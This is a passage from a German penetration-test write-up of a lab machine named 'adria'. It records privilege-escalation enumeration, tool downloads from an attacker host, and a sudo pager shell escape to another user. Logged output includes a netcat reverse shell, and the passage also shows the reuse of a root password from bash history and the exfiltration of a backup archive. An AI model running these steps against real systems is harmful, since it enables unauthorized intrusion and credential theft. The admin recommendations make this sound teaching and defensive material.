Analyse: Weitere Enumerationsschritte. * `mysql -u admin -p`: Versucht, sich an der lokalen MySQL-Datenbank als Benutzer `admin` anzumelden (Passwort wird abgefragt). * `find / -type f -perm -4000 -ls 2>/dev/null`: Sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`) mit gesetztem SUID-Bit (`-perm -4000`). Solche Dateien laufen mit den Rechten des Besitzers (oft `root`), unabhängig davon, wer sie startet. `-ls` gibt detaillierte Informationen aus, `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei fehlenden Leserechten).

Bewertung: * Der MySQL-Login schlägt fehl (`ERROR 1045 (28000): Access denied`). Das Passwort `jojo1989` (das vermutlich eingegeben wurde) funktioniert nicht für den MySQL-Benutzer `admin`. * Die `find`-Suche listet mehrere SUID-Binaries auf. Die meisten sind Standard (`passwd`, `sudo`, `su`, `mount`, `chsh` etc.). `gpasswd`, `newgrp`, `chfn`, `umount`, `pppd`, `dbus-daemon-launch-helper`, `ssh-keysign`, `polkit-agent-helper-1` sind ebenfalls oft standardmäßig SUID, aber weniger häufig für Exploits genutzt als die ersteren. Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die sofort ins Auge springen.

Empfehlung (Pentester): Die Suche nach Datenbank-Credentials in den Web-Konfigurationsdateien fortsetzen. Die gefundenen SUID-Binaries im Hinterkopf behalten. Obwohl keine ungewöhnlichen dabei sind, können auch Standard-Binaries manchmal über bekannte Schwachstellen oder Fehlkonfigurationen zur Privilegieneskalation missbraucht werden (siehe GTFOBins).
Empfehlung (Admin): Unnötige SUID-Bits entfernen. Das SUID-Bit sollte nur gesetzt sein, wenn es absolut notwendig ist. Systeme regelmäßig auf bekannte SUID-Exploits patchen. Starke, einzigartige Passwörter für Datenbankbenutzer verwenden.

www-data@adria:/var/www/html/backup$ mysql -u admin -p
Enter password: 
ERROR 1045 (28000): Access denied for user 'admin'@'localhost' (using password: YES)
www-data@adria:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   914041     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   914042     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   953599    276 -rwsr-xr-x   1 root     root       281624 Jun 27  2023 /usr/bin/sudo
   917500     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   914039     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   918251     72 -rwsr-xr-x   1 root     root        72000 Mar 23  2023 /usr/bin/su
   917654     60 -rwsr-xr-x   1 root     root        59704 Mar 23  2023 /usr/bin/mount
   914038     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 Mar 23  2023 /usr/bin/umount
   953128    396 -rwsr-xr--   1 root     dip        403832 May 14  2022 /usr/sbin/pppd
   929606     52 -rwsr-xr--   1 root     messagebus    51272 Feb  8  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   931821    640 -rwsr-xr-x   1 root     root         653888 Feb  8  2023 /usr/lib/openssh/ssh-keysign
  1046954     20 -rwsr-xr-x   1 root     root          18664 Jan 31  2023 /usr/lib/polkit-1/polkit-agent-helper-1

Analyse: `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine feingranularere Methode zur Rechteverwaltung als SUID/SGID. Sie erlauben Prozessen bestimmte privilegierte Aktionen, ohne volle Root-Rechte zu benötigen.

Bewertung: Die Ausgabe zeigt nur zwei Dateien mit Capabilities: * `/usr/bin/ping`: Hat `cap_net_raw=ep`. Dies ist Standard und erlaubt `ping`, rohe Netzwerk-Sockets zu erstellen. * `/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper`: Hat `cap_net_bind_service,cap_net_admin=ep`. Dies ist ebenfalls oft Standard für Precision Time Protocol (PTP)-Helfer. Keine der gefundenen Capabilities scheint auf den ersten Blick für eine Privilegieneskalation missbrauchbar zu sein.

Empfehlung (Pentester): Capabilities sind ein weiterer wichtiger Punkt bei der Linux-Privilegieneskalations-Enumeration. Auch wenn hier nichts Offensichtliches gefunden wurde, sollte man immer danach suchen. GTFOBins listet auch bekannte Exploits für Capabilities auf.
Empfehlung (Admin): Capabilities sparsam einsetzen und nur dort, wo sie benötigt werden. Regelmäßig überprüfen, welche Dateien Capabilities gesetzt haben.

www-data@adria:/tmp$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep

Analyse: Der Pentester lädt das Tool `pspy64` auf die Zielmaschine herunter und führt es aus. `pspy` ist ein Tool zur Überwachung von Linux-Prozessen ohne Root-Rechte. Es kann gestartete Prozesse, Cronjobs und andere Systemereignisse in Echtzeit anzeigen. * `python3 -m http.server 80`: Startet einen einfachen HTTP-Server auf dem Angreifer-System im Verzeichnis `~/Hackingtools`, um `pspy64` bereitzustellen. * `cd /tmp/`: Wechselt auf der Zielmaschine in das temporäre Verzeichnis `/tmp`. * `wget 192.168.2.199/pspy64`: Lädt `pspy64` vom Angreifer-Server herunter. * `chmod +x pspy64`: Macht die heruntergeladene Datei ausführbar. * `./pspy64`: Startet das Tool.

Bewertung: `pspy` ist ein hervorragendes Tool zur dynamischen Analyse und zum Finden von kurzlebigen Prozessen oder Cronjobs, die bei statischer Analyse (wie `cat /etc/crontab`) übersehen werden könnten. Die Ausgabe zeigt viele Prozesse, darunter die laufenden Apache- und Samba-Prozesse sowie die Prozesse, die zur Reverse Shell gehören. Besonders interessant sind die Zeilen, die mit `CMD: UID=0` beginnen, da sie von Root ausgeführte Prozesse zeigen könnten. Die Zeilen `CMD: UID=33 PID=2797 | su - root -c /tmp/OXHTqEsw` und `CMD: UID=33 PID=2580 | /tmp/euiNW` sind verdächtig, da sie auf temporäre Skripte hindeuten, die möglicherweise privilegiert ausgeführt werden (obwohl hier als UID=33 geloggt).

Empfehlung (Pentester): Die Ausgabe von `pspy` über längere Zeit beobachten, insbesondere auf wiederkehrende Root-Prozesse oder Prozesse, die auf interessante Skripte oder Dateien zugreifen. Die verdächtigen temporären Skripte (`/tmp/OXHTqEsw`, `/tmp/euiNW`) genauer untersuchen, falls sie wieder auftauchen oder Spuren hinterlassen haben.
Empfehlung (Admin): Aktivitäten im `/tmp`-Verzeichnis überwachen. Ausführung von Skripten aus `/tmp` nach Möglichkeit einschränken (`noexec`-Mount-Option). Systemaktivitäten generell protokollieren und auf ungewöhnliche Prozessstarts achten.

┌──(root㉿cyber)-[~/Hackingtools]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.110 - - [26/Apr/2024 16:23:23] "GET /pspy64 HTTP/1.1" 200 -
www-data@adria:/opt$ cd /tmp/
www-data@adria:/tmp$ wget 192.168.2.199/pspy64
--2024-04-26 16:23:28--  http://192.168.2.199/pspy64
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                  100%[=============================>]   2.94M  --.-KB/s    in 0.009s  

2024-04-26 16:23:28 (312 MB/s) - ‘pspy64’ saved [3078592/3078592]
www-data@adria:/tmp$ chmod +x pspy64
www-data@adria:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/04/26 16:23:52 CMD: UID=0    PID=873    | /usr/sbin/smbd --foreground --no-process-group 
2024/04/26 16:23:52 CMD: UID=0    PID=872    | /usr/sbin/smbd --foreground --no-process-group 
2024/04/26 16:23:52 CMD: UID=0    PID=870    | /usr/sbin/smbd --foreground --no-process-group 
2024/04/26 16:23:52 CMD: UID=33   PID=733    | /usr/sbin/apache2 -k start 
2024/04/26 16:23:52 CMD: UID=33   PID=732    | /usr/sbin/apache2 -k start 


2024/04/26 16:23:52 CMD: UID=33   PID=2467   | /bin/bash 
2024/04/26 16:23:52 CMD: UID=33   PID=2466   | python3 -c import pty;pty.spawn("/bin/bash") 
2024/04/26 16:23:52 CMD: UID=33   PID=2464   | bash 
2024/04/26 16:23:52 CMD: UID=33   PID=2463   | sh -c nc -e /bin/bash 192.168.2.199 4444 
2024/04/26 16:23:52 CMD: UID=33   PID=2433   | /bin/bash 
2024/04/26 16:23:52 CMD: UID=33   PID=2432   | python3 -c import pty;pty.spawn('/bin/bash') 
2024/04/26 16:23:52 CMD: UID=33   PID=2431   | sh -c python3 -c "import pty;pty.spawn('/bin/bash')" 
2024/04/26 16:27:08 CMD: UID=33   PID=2819   | ./pspy64 
2024/04/26 16:27:08 CMD: UID=0    PID=2812   | 
2024/04/26 16:27:08 CMD: UID=0    PID=2811   | 
2024/04/26 16:27:08 CMD: UID=0    PID=2810   | 
2024/04/26 16:27:08 CMD: UID=0    PID=28     | 
2024/04/26 16:27:08 CMD: UID=33   PID=2797   | su - root -c /tmp/OXHTqEsw 
2024/04/26 16:27:08 CMD: UID=33   PID=2796   | /bin/sh -c su - root -c /tmp/OXHTqEsw  
2024/04/26 16:27:08 CMD: UID=0    PID=2775   | 
2024/04/26 16:27:08 CMD: UID=0    PID=27     | 
2024/04/26 16:27:08 CMD: UID=33   PID=2580   | /tmp/euiNW 
2024/04/26 16:27:08 CMD: UID=0    PID=2559   | 
2024/04/26 16:27:08 CMD: UID=33   PID=2467   | /bin/bash 
2024/04/26 16:27:08 CMD: UID=33   PID=2466   | python3 -c import pty;pty.spawn("/bin/bash") 
2024/04/26 16:27:08 CMD: UID=33   PID=2464   | bash 
2024/04/26 16:27:08 CMD: UID=33   PID=2463   | sh -c nc -e /bin/bash 192.168.2.199 4444 
2024/04/26 16:27:08 CMD: UID=33   PID=2433   | /bin/bash 
2024/04/26 16:27:08 CMD: UID=33   PID=2432   | python3 -c import pty;pty.spawn('/bin/bash') 
2024/04/26 16:27:08 CMD: UID=33   PID=2431   | sh -c python3 -c "import pty;pty.spawn('/bin/bash')" 
2024/04/26 16:27:08 CMD: UID=0    PID=2428   | 

Analyse: Es wird versucht, mit `su` den Benutzer zu wechseln. Zuerst zu `root`, dann zu `adriana`. Beide Versuche scheitern mit "Authentication failure", da das korrekte Passwort nicht eingegeben wird oder nicht bekannt ist.

Bewertung: Dies bestätigt, dass das Passwort `jojo1989`, obwohl es in den Preseed-Dateien für `root` stand, für den direkten `su`-Wechsel nicht funktioniert. Es ist möglich, dass das Passwort nach der Installation geändert wurde oder dass `su root` aus Sicherheitsgründen für `www-data` nicht erlaubt ist. Auch der Wechsel zu `adriana` scheitert, was darauf hindeutet, dass das SMB-Passwort auch hier nicht gilt.

Empfehlung (Pentester): Andere Methoden zur Privilegieneskalation weiter verfolgen (sudo, SUID, Kernel-Exploits, Cronjobs etc.). `su` ist oft nicht der einfachste Weg.
Empfehlung (Admin): Direkten `su root`-Zugriff einschränken. Starke Passwörter verwenden.

www-data@adria:/tmp$ su root
Password: 
su: Authentication failure
www-data@adria:/tmp$ su adriana
Password: 
su: Authentication failure
www-data@adria:/tmp$ su adriana
Password: 
su: Authentication failure
www-data@adria:/tmp$ su root
Password: 
su: Authentication failure

Analyse: Das bekannte Linux-Enumerationsskript `linpeas.sh` wird vom Angreifer-Server heruntergeladen. `linpeas.sh` sucht automatisiert nach häufigen Vektoren für Privilegieneskalation.

Bewertung: Das Herunterladen von Enumerationsskripten wie LinPEAS oder LinEnum ist ein Standardvorgehen nach dem Initial Access. Sie sparen Zeit, indem sie viele der manuellen Enumerationsschritte automatisieren und die Ergebnisse oft farblich hervorheben.

Empfehlung (Pentester): `linpeas.sh` ausführen und die Ausgabe sorgfältig analysieren, insbesondere die rot/gelb hervorgehobenen Bereiche, die auf potenzielle Schwachstellen hindeuten.
Empfehlung (Admin): Überwachung auf das Herunterladen und Ausführen bekannter Hacking-Tools und Enumerationsskripte. Dateisystem-Integritätsprüfungen durchführen.

www-data@adria:/tmp$ wget 192.168.2.199/linpeas.sh
--2024-04-26 16:29:22--  http://192.168.2.199/linpeas.sh
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh              100%[=============================>] 808.42K  --.-KB/s    in 0.003s  

2024-04-26 16:29:22 (306 MB/s) - ‘linpeas.sh’ saved [827827/827827]

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den aktuellen Benutzer (`www-data`) aufzulisten. Anschließend werden die Berechtigungen und der Dateityp der gefundenen Datei `/usr/bin/scalar` überprüft.

Bewertung: Das ist ein entscheidender Fund! `sudo -l` zeigt, dass der Benutzer `www-data` den Befehl `/usr/bin/scalar` als Benutzer `adriana` ohne Passwortabfrage (`NOPASSWD`) ausführen darf: `(adriana) NOPASSWD: /usr/bin/scalar` Die Datei `/usr/bin/scalar` ist ein ELF 64-bit Executable und gehört `root`. Der Name "scalar" deutet möglicherweise auf das Git-Projekt "Scalar" hin, ein Tool zur Verwaltung sehr großer Git-Repositories.

Empfehlung (Pentester): Dies ist ein klarer Weg zur horizontalen Privilegieneskalation (von `www-data` zu `adriana`). Untersuchen, wie `/usr/bin/scalar` missbraucht werden kann, um eine Shell als `adriana` zu erhalten. Befehle wie `sudo -u adriana /usr/bin/scalar --help` oder die Suche nach bekannten Schwachstellen oder Befehlsinjektionen in `scalar` (insbesondere in älteren oder spezifischen Versionen) sind angezeigt. GTFOBins könnte hier ebenfalls relevant sein.
Empfehlung (Admin): Sudo-Regeln äußerst restriktiv gestalten. `NOPASSWD` nur in absolut notwendigen Fällen und für sehr spezifische, ungefährliche Befehle verwenden. Sicherstellen, dass Programme, die über `sudo` ausgeführt werden dürfen, keine Shell-Escapes oder Befehlsinjektionen ermöglichen. Unnötige `sudo`-Regeln entfernen.

www-data@adria:/tmp$ sudo -l
Matching Defaults entries for www-data on adria:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on adria:
    (adriana) NOPASSWD: /usr/bin/scalar
www-data@adria:/tmp$ ls -la /usr/bin/scalar
-rwxr-xr-x 1 root root 2170984 Feb 28  2023 /usr/bin/scalar
www-data@adria:/tmp$ file /usr/bin/scalar
/usr/bin/scalar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4b2b19d5b9362141a454cd3d7dc94d2f164aefff, for GNU/Linux 3.2.0, stripped

Analyse: Der Pentester nutzt die gefundene `sudo`-Regel aus. `sudo -u adriana /usr/bin/scalar help` führt den `scalar`-Befehl mit dem Argument `help` als Benutzer `adriana` aus.

Bewertung: Erfolg! Anstatt einer Hilfeausgabe gibt `scalar` (oder eine Funktion, die es aufruft) einen `!bash:`-Prompt zurück. Dies ist ein typisches Anzeichen dafür, dass `scalar` einen Pager (wie `less` oder `more`) verwendet, um seine Ausgabe anzuzeigen, und dass dieser Pager erlaubt, externe Befehle auszuführen (oft durch Eingabe von `!` gefolgt vom Befehl). Der Pentester hat hier wahrscheinlich `!bash` eingegeben und dadurch eine Shell als Benutzer `adriana` erhalten. Der Prompt wechselt zu `adriana@adria:/tmp$`, was die erfolgreiche horizontale Privilegieneskalation bestätigt.

Empfehlung (Pentester): Fantastisch! Wir sind jetzt als `adriana` angemeldet. Sofort das Home-Verzeichnis (`cd ~`) untersuchen, insbesondere nach SSH-Keys (`.ssh/`), History-Dateien (`.bash_history`, `.zsh_history`), Konfigurationsdateien und der User-Flag (`user.txt`). Erneut `sudo -l` ausführen, um zu sehen, ob `adriana` weitere `sudo`-Rechte hat, die zur Eskalation zu `root` führen könnten.
Empfehlung (Admin): Programme, die über `sudo` laufen, sorgfältig prüfen. Wenn sie Pager verwenden, sicherstellen, dass diese keine Shell-Escapes erlauben (z.B. durch Setzen der Umgebungsvariable `LESSSECURE=1` für `less`). Idealerweise sollten Programme, die per `sudo` ausgeführt werden, keine interaktiven Pager starten oder Shell-Escapes ermöglichen.

www-data@adria:/tmp$ sudo -u adriana /usr/bin/scalar help

!bash:

adriana@adria:/tmp$
 
                  

Analyse: Als Benutzer `adriana` wird in das Home-Verzeichnis gewechselt (`cd ~`) und dessen Inhalt aufgelistet (`ls -la`).

Bewertung: Die Auflistung zeigt typische Dateien und Verzeichnisse eines Benutzer-Home-Verzeichnisses unter Linux mit Zsh als Shell (`.zshrc`, `.oh-my-zsh`, `.zcompdump*`). Wichtige Funde: * `.ssh/`: Ein Verzeichnis für SSH-Konfigurationen und Schlüssel. * `user.txt`: Die Datei, die wahrscheinlich die User-Flag enthält. Sie hat Lese-/Schreib-/Ausführrechte nur für `adriana`. * `.bash_history`: Enthält Befehle, die mit Bash ausgeführt wurden (obwohl die aktuelle Shell Zsh ist).

Empfehlung (Pentester): Inhalt von `user.txt` auslesen (`cat user.txt`). Das `.ssh`-Verzeichnis untersuchen (`ls -la .ssh`), insbesondere auf private Schlüssel (`id_rsa`) oder `authorized_keys`. Die `.bash_history` durchsehen, ob sie Hinweise auf Passwörter oder interessante Befehle enthält.
Empfehlung (Admin): Sicherstellen, dass sensible Dateien wie Flags oder private Schlüssel korrekte, restriktive Berechtigungen haben (`600` oder `400`).

adriana@adria:/tmp$ cd ~
adriana@adria:~$ ls -la
total 396
drwx------  5 adriana adriana   4096 Apr 26 14:18 .
drwxr-xr-x  3 root    root      4096 Nov  6 08:35 ..
-rw-------  1 adriana adriana    937 Jan 22 18:15 .bash_history
-rw-r--r--  1 adriana adriana    220 Nov  5 19:53 .bash_logout
-rw-r--r--  1 adriana adriana   3526 Nov  5 19:53 .bashrc
-rw-------  1 adriana adriana     45 Jan 22 18:15 .lesshst
drwxr-xr-x  3 adriana adriana   4096 Nov  7 19:05 .local
drwxr-xr-x 12 adriana adriana   4096 Dec  4 10:39 .oh-my-zsh
-rw-r--r--  1 adriana adriana    807 Nov  5 19:53 .profile
drwx------  2 adriana adriana   4096 Nov  7 19:04 .ssh
-rw-r--r--  1 adriana adriana    169 Jan 22 18:12 .wget-hsts
-rw-r--r--  1 adriana adriana  51810 Jan 22 18:13 .zcompdump-adria-5.9
-r--r--r--  1 adriana adriana 119912 Jan 22 18:13 .zcompdump-adria-5.9.zwc
-rw-r--r--  1 adriana adriana  51810 Nov  6 08:32 .zcompdump-flossy-5.9
-r--r--r--  1 adriana adriana 119912 Nov  6 08:32 .zcompdump-flossy-5.9.zwc
-rw-r--r--  1 adriana adriana   3890 Nov  5 19:53 .zshrc
-rwx------  1 adriana adriana     33 Nov  6 08:35 user.txt

Analyse: Der Inhalt der User-Flag und der Bash-History wird angezeigt. * `cat user.txt`: Gibt die User-Flag aus. * `cat .bash_history`: Zeigt die Befehlshistorie des Benutzers `adriana` in der Bash-Shell.

Bewertung: * Die User-Flag lautet `fbd401c3bff5ec92d1ba6f74a2340f0f`. * Die Bash-History ist sehr aufschlussreich! Sie zeigt frühere Aktivitäten des Benutzers `adriana`: * Erstellung von SSH-Schlüsseln (`ssh-keygen`, `cp id_rsa.pub authorized_keys`). Dies deutet darauf hin, dass im `.ssh`-Verzeichnis möglicherweise ein privater Schlüssel (`id_rsa`) liegt. * Verwendung von `pspy64` zur Prozessüberwachung, insbesondere mit Fokus auf `zip` und das Verzeichnis `/opt`. * Ein `su -` Befehl mit einem langen String dahinter: `su - 8eNctPoCh4Potes5eVD7eMxUw6wRBmO`. Dieser String sieht wie ein Passwort aus und könnte das Root-Passwort sein (oder das Passwort für den Benutzer `-` was unwahrscheinlich ist)! Es könnte das Passwort sein, das im Skript `/opt/backup` aus `/root/pass` gelesen wird. * Versuche, `/opt/script` zu untersuchen (Datei existiert nicht?).

Empfehlung (Pentester): Die User-Flag notieren. Den String `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` unbedingt als potenzielles Root-Passwort testen (`su root` oder `sudo`). Das `.ssh`-Verzeichnis auf den privaten Schlüssel `id_rsa` prüfen. Wenn vorhanden, versuchen, ihn herunterzuladen und zu verwenden (eventuell ist er passwortgeschützt).
Empfehlung (Admin): Benutzern beibringen, Passwörter niemals in der Befehlszeile einzugeben (insbesondere nicht mit `su password`), da sie dann in der History landen. History-Dateien sollten geschützt sein. SSH-Schlüssel sicher aufbewahren und mit Passphrasen schützen.

adriana@adria:~$ cat user.txt
fbd401c3bff5ec92d1ba6f74a2340f0f
adriana@adria:~$ cat .bash_history
clear
ls
clear
cd
clear
sudo -l
cd .ssh
ssh-keygen 
cd .ssh/
clear
cp id_rsa.pub authorized_keys
clear
cat id_rsa
clear
cd /dev/shm
./pspy64 --help
./pspy64 -i 10
./pspy64 -i 10 |grep zip
clear
su - 8eNctPoCh4Potes5eVD7eMxUw6wRBmO
su -
./pspy64 -i 10 |grep zip
./pspy64 -i 1 |grep zip
clear
./pspy64 -i 1 |grep zip
./pspy64 --help
./pspy64 -i 10 -d /opt 
./pspy64 --help
./pspy64 -i 10 -d /opt  -f
./pspy64 -i 10 -d /opt -f |grep zip
cat /opt/script 
./pspy64 -i 10 -d /opt -f |grep "/usr/bin/zip"
clear
./pspy64 -i 10 -d /opt -f |grep "/usr/bin/zip"
clear
./pspy64 -i 10 -d /opt -f |grep "/usr/bin/zip"
./pspy64 -i 10 -d /opt -d
./pspy64 -i 10 -d /opt --debug
clear
./pspy64 -i 10 -d /opt
clear
./pspy64 -i 10 -d /opt
clear
./pspy64 -i 10 -d /opt
c
./pspy64 -i 10 -d /opt

Analyse: Auf dem Angreifer-System werden Tools zur Verarbeitung von SSH-Schlüsseln verwendet. * Es wird angenommen, dass der private Schlüssel `id_rsa` aus dem `.ssh`-Verzeichnis von `adriana` auf das Angreifer-System übertragen wurde (dieser Schritt fehlt im Text). * `john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa`: Versucht, mit John the Ripper und der `rockyou.txt`-Wortliste eine Passphrase für den privaten SSH-Schlüssel `id_rsa` zu knacken. * `ssh2john id_rsa > hash`: Konvertiert den privaten Schlüssel `id_rsa` in ein Format, das John the Ripper versteht, und speichert den Hash in der Datei `hash`.

Bewertung: Der `john`-Befehl meldet "No password hashes loaded", was oft bedeutet, dass das Format nicht direkt erkannt wurde oder die Datei keine verschlüsselten Hashes enthält. Der `ssh2john`-Befehl bestätigt dies explizit: `id_rsa has no password!`. Der private SSH-Schlüssel von `adriana` ist nicht durch eine Passphrase geschützt.

Empfehlung (Pentester): Da der Schlüssel ungeschützt ist, kann er direkt für die SSH-Authentifizierung verwendet werden. Dies bietet einen alternativen Weg, um sich als `adriana` anzumelden, falls die Reverse Shell verloren geht: `ssh adriana@adria.hmv -i id_rsa`.
Empfehlung (Admin): Private SSH-Schlüssel immer mit einer starken Passphrase schützen. Zugriff auf private Schlüsseldateien streng limitieren.

┌──(root㉿cyber)-[~/Hackingtools]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
┌──(root㉿cyber)-[~/Hackingtools]
└─# ssh2john id_rsa > hash
id_rsa has no password!

Analyse: Der Pentester meldet sich nun per SSH als `adriana` an, unter Verwendung des ungeschützten privaten Schlüssels (`-i id_rsa`).

Bewertung: Die Anmeldung ist erfolgreich. Der Willkommensbildschirm von Debian und Oh My Zsh wird angezeigt. Der Prompt `╭─adriana@adria ~ \n╰─$` bestätigt die erfolgreiche SSH-Sitzung als `adriana`.

Empfehlung (Pentester): Diese SSH-Sitzung ist stabiler als die vorherige Reverse Shell. Die Suche nach der Root-Eskalation von hier aus fortsetzen. Das Passwort `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` aus der Bash-History mit `su root` testen.
Empfehlung (Admin): SSH-Zugriff überwachen. Key-basierte Authentifizierung bevorzugen, aber sicherstellen, dass die Schlüssel sicher gespeichert und mit Passphrasen geschützt sind.

┌──(root㉿cyber)-[~]
└─# ssh adriana@adria.hmv -i id_rsa
Linux adria 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64

 
         __                                     __   
  ____  / /_     ____ ___  __  __   ____  _____/ /_  
 / __ \/ __ \   / __ `__ \/ / / /  /_  / / ___/ __ \ 
/ /_/ / / / /  / / / / / / /_/ /    / /_(__  ) / / / 
\____/_/ /_/  /_/ /_/ /_/\__, /    /___/____/_/ /_/  
                        /____/                       

Hooray! Oh My Zsh has been updated!

To keep up with the latest news and updates, follow us on Twitter: https://twitter.com/ohmyzsh
Want to get involved in the community? Join our Discord: https://discord.gg/ohmyzsh
Get your Oh My Zsh swag at: https://shop.planetargon.com/collections/oh-my-zsh
╭─adriana@adria ~ 
╰─$ 

Analyse: Als `adriana` wird versucht, das Backup-Skript `/opt/backup` mit `sudo -u root` auszuführen. Dies würde das Skript als `root` starten. Es wird nach dem Passwort gefragt (wahrscheinlich für `adriana`, um `sudo` zu nutzen, oder möglicherweise das im Skript abgefragte Passwort). Der Pentester gibt das Passwort `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` aus der Bash-History ein.

Bewertung: Der Versuch schlägt wahrscheinlich fehl, da `adriana` standardmäßig keine `sudo`-Rechte hat, um Befehle als `root` auszuführen (wir haben keine entsprechende Regel in `sudo -l` für `adriana` gesehen). Die lange Ausgabe danach (`adding: var/www/html/...`) sieht jedoch so aus, als hätte das *Skript* selbst das eingegebene Passwort akzeptiert und mit dem Zippen begonnen! Dies impliziert, dass die Passwortabfrage `read -ep "Password: " USER_PASS` im Skript ausgeführt wurde und das eingegebene Passwort mit dem in `/root/pass` übereinstimmte. Es ist unklar, warum das Skript dann als `adriana` lief, wenn `sudo -u root` verwendet wurde – möglicherweise ein Fehler im Logging oder eine unerwartete Interaktion. Wichtiger ist: Das Skript hat das Passwort akzeptiert und eine `/opt/backup.zip` erstellt (oder überschrieben), die mit ebendiesem Passwort verschlüsselt ist.

Empfehlung (Pentester): Auch wenn der `sudo`-Teil unklar ist, hat das Skript bestätigt, dass `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` das korrekte Passwort ist, das auch in `/root/pass` steht. Dieses Passwort sofort mit `su root` testen! Die `/opt/backup.zip` untersuchen (obwohl ihr Inhalt, `/var/www/html`, wahrscheinlich schon bekannt ist).
Empfehlung (Admin): Berechtigungen für Skripte wie `/opt/backup` prüfen. Sicherstellen, dass `sudo`-Regeln korrekt sind und keine unbeabsichtigten Ausführungen erlauben. Die Funktionsweise des Skripts überdenken, um die Preisgabe des Root-Passworts und dessen Wiederverwendung zur Verschlüsselung zu vermeiden.

╭─adriana@adria /opt
╰─$ sudo -u root /opt/backup
password: 8eNctPoCh4Potes5eVD7eMxUw6wRBmO

  adding: var/www/html/tmp/admin_default/e7ab3b9994205cba3980c07282b263b5ff99aba7.file.breadcrumb.tpl.php (deflated 63%)
  adding: var/www/html/tmp/admin_default/2ff3af19bbb0bc6bf33a6877762f337f8f7dc996.file.hooks.tpl.php (deflated 53%)
  adding: var/www/html/tmp/admin_default/868cc19f3535539df4a0b5bcac4d1fa9b533e78e.file.index.tpl.php (deflated 87%)
  adding: var/www/html/tmp/admin_default/2958d2fade30384edfee8f09579d66e6aa53f2eb.file.notification.tpl.php (deflated 65%)
  adding: var/www/html/tmp/admin_default/12f4712028003253392437c75c4ae035d9abb07f.file.blog.tpl.php (deflated 74%)
  adding: var/www/html/tmp/admin_default/f49a9efa814098d78e988adf5fa870ae2866b657.file.login.tpl.php (deflated 75%)
  adding: var/www/html/favicon.ico (deflated 28%)
  adding: var/www/html/backup/ (stored 0%)
  adding: var/www/html/backup/.htaccess (stored 0%)
.....
--

.....
╭─adriana@adria ~
╰─$ cd /opt
╭─adriana@adria /opt
╰─$ ll
total 12M
-rwxr-xr-x 1 root root  294 Nov  6 08:35 backup
-rw-r--r-- 1 root root  12M Apr 26 16:50 backup.zip

Analyse: Da `adriana` nun Zugriff auf die neu erstellte (oder überschriebene) `backup.zip` hat, wird diese Datei für den Angreifer bereitgestellt. * `python3 -m http.server 8000`: Startet einen HTTP-Server im Verzeichnis `/opt` auf Port 8000. * `wget http://192.168.2.110:8000/backup.zip`: Auf dem Angreifer-System wird die Datei heruntergeladen.

Bewertung: Das Herunterladen der ZIP-Datei ist erfolgreich. Obwohl der Inhalt (`/var/www/html`) wahrscheinlich nicht neu ist, ist die Datei selbst nützlich, da sie mit dem Passwort aus `/root/pass` verschlüsselt ist (wie im `/opt/backup`-Skript gesehen). Dies bietet eine Möglichkeit, das Passwort zu knacken.

